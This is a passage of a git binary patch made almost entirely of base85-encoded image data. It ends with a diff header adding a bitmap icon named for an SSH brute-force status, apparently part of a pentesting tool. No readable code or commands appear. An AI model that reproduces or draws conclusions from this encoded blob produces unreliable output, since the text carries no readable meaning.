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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 zcmd^`2Y4G**7u#_-izF;Y)Q6ktJje<>NBG*%PsCsoZd-uii?U%;xs}M5=cm+1xRCo z5b6Sfu)r>)kN_c&Py$P;o#r&#-x(=k`B*lceZTkl^c+vFX70Une)oUQy;mbeV@W6c zye|)$nmw>R3rE$-V*rJvux|2MA(!rI?I(BC)Ef3^SW`Myghub=<^+S#wKo<4Zxk)cezimw(y=*89_*OUL*09^Z56rw@C7`djbMpgS%>^HqXeRTfV>*o(|JAdez zbDwYQ*}t}X-|FtYtH92Fw(9Jst9$mY?%wwpX?q{PVV^zT{Tn+=o?qP!mH)9Cnm~ax zIJ5tWo&%eD4n5m*c*pspZ(jQOliu!Q*Lu7A`>)>{_dT&*J$L-V(Oo@FFZ zS5F=N>+&yNU3_-$`YVT@hD&6H8|EDt=$srLK!3dZ(`7y1zIG2WefO*bkU{6ZJOAw~ zJqMraJ^(|%=G=j`=Rj1_)}1@B{`}_~K%r;a$77lK@@$qol`*%<^!=Vyy z#V<(-!OkDrc=_w64!*i%JfT8T7_zJa3!U}aqqBRzdWsx8ay$U;iE|J%q^&u-e_i*% zr_UdI?dru}{wuorZqnc1ckR-ND`yU0`uU@a$KJT`^^S92JVOe+|A}iyHa)jsvM3{O z#oDKL?LG9w3vcLzWz~q{_@32g_CE2?k5>Qq!K&jQtor$*$3W&UUR{DS_(j?=&+Od2 z>(c|Cj)%pGIqz<0xpH_TD;uTX{J1mtx!nNIT(!vM$p+s zY>_sL$q1y?TbIq5^4h|#gRktqT3<0|e37O1ZSg^dz_Dc>+6GH z{cV3x-ut&t`7ya#M!7f^<%i`;Bk8K7d_#`Jn2nfoWHyG}mMe#&l_59fAjWJdK^3F% zdEy8fFEme@pjS{W1`c}s`=5T-?ft)faIC%+aPLR|C`FBuD4HpYS6Zm3;Od5PHDxT+ z!IWBaMHYs@n8P(>vkf_H6OC(O@NG;{QNFa4tr*79fR*ISh;)uPnl{o>`R$iq17H7x zSXq7J^x#;bzt8`^PnpNlrLyY;SZM)>CjcN*4hP_j*&G9vjc2j+83l@Xnlgb7GZ#)R zB(hnCY!*Rf8FM&B8rRAYlorbC_z zz-P+gnrUD>E1eHVLpDdBUMLFB5Qb&*L$V}MS^A7ZvKrK(^WbQtaex@;VPIb6=`3AFAyk0MMmi6qB?b0cdA>rK&VFy#+b=%3d0A`c zj!n;Bx^U@Nk?x^zAG)4Bb*9cxEKDp^(`@`0t|XqWPvMjnAOsn!Y$BUv1^2}aLpCQQO*C?`kfarAp?rf>ODmnNR_VXBZhg1C5JQIS|sIcNt5rj4zNR z(|J)MZLXCamosa`#H&}Y-UFqt$$hY{U9>_$6Ycr_`0IPG%$#^c6fH4jac#Lm$VGN= znv_D*q!;kQGQ=@VG?_>9qZo4(ZM7|J)y=L+OI%|YwAZ#cE9WSaxD3B|O`4DwK@&t~ zY18wCF;q@SnmUQ@U`n(}OnHj6b|vI9F)S~1f{WqGgu*Mte_Nis;H@aRvl7`#Iu~0bK7g0-4hl$ 